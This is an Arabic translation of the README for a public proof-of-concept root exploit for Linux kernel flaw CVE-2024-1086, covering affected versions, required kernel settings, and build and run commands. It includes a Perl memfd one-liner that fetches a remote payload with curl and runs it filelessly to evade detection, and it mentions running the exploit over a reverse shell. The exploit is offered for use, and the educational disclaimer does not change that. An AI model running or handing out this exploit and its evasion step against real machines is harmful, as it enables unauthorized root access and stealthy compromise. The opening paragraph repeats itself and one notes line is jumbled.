
استغلال إثبات مفهوم عالمي لتصعيد الامتيازات المحلية لـ CVE-2024-1086، يعمل على معظم نوى لينكس بين v5.14 و v6.6، بما في ذلك Debian و Ubuntu و KernelCTF. نسبة النجاح هي 99.4% في صور KernelCTF.
إثبات المفهوم الشامل لرفع الامتيازات المحلية لثغرة CVE-2024-1086، يعمل على معظم نوى لينكس بين v5.14 و v6.6، بما في ذلك دبيان وأوبونتو وKernelCTF. نسبة النجاح 99.4% في صور KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
يمكن العثور على شرح كامل للاستغلال - بما في ذلك معلومات أساسية ورسوم بيانية مفيدة - في تدوينة Flipping Pages.
يؤثر الاستغلال على الإصدارات من (بما في ذلك) v5.14 إلى (بما في ذلك) v6.6، باستثناء الفروع المصححة v5.15.149> و v6.1.76> و v6.6.15>. تم إصدار التصحيح لهذه الإصدارات في فبراير 2024. الثغرة الأساسية تؤثر على جميع الإصدارات (باستثناء الفروع المستقرة المصححة) من v3.15 إلى v6.8-rc1.
ملاحظات:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (بما في ذلك أوبونتو v6.5)CONFIG_USER_NS=y)، وأن تكون مساحات أسماء المستخدمين غير مميزة (أمر sh sysctl kernel.unprivileged_userns_clone = 1)، وأن يكون nf_tables مفعلاً (kconfig CONFIG_NF_TABLES=y). بشكل افتراضي، كل هذه الخيارات مفعلة على دبيان وأوبونتو وKernelCTF. لم يتم اختبار التوزيعات الأخرى، ولكنها قد تعمل أيضًا. بالإضافة إلى ذلك، تم اختبار الاستغلال فقط على x64/amd64.يجب أن تعمل القيم الافتراضية مباشرة على دبيان وأوبونتو وKernelCTF مع شل محلي. على الإعدادات/التوزيعات غير المختبرة، يُرجى التأكد من تطابق قيم kconfig مع النواة المستهدفة. يمكن تحديدها في src/config.h. إذا كنت تشغل الاستغلال على جهاز بذاكرة فعلية أكبر من 32 غيغابايت، فتأكد من زيادة CONFIG_PHYS_MEM.
إذا كنت تشغل الاستغلال عبر SSH (إلى جهاز الاختبار) أو شل عكسي، قد ترغب في ضبط CONFIG_REDIRECT_LOG إلى 1 لتجنب النشاط الشبكي غير الضروري.
إذا كان هذا غير عملي لك، فهناك ثنائي x64 مجمع مع التهيئة الافتراضية.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
الملف الثنائي: CVE-2024-1086/exploit
تشغيل الاستغلال بسيط أيضًا:
./exploit
كما يدعم التنفيذ بدون ملفات، في حالات اختبار الاختراق حيث يجب تجنب الاكتشافات. ومع ذلك، يجب تثبيت Perl على الهدف:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
البرامج والنصوص ("البرامج") في هذا الدليل/المجلد/المستودع البرمجي ("المستودع") منشورة ومطورة وموزعة للأغراض التعليمية/البحثية فقط. أنا ("المُنشِئ") لا أقر أي استخدام ضار أو غير قانوني للبرامج في هذا المستودع، حيث أن القصد هو مشاركة البحث وليس القيام بأنشطة غير قانونية به. أنا لست مسؤولاً قانونياً عن أي شيء تفعله بالبرامج في هذا المستودع.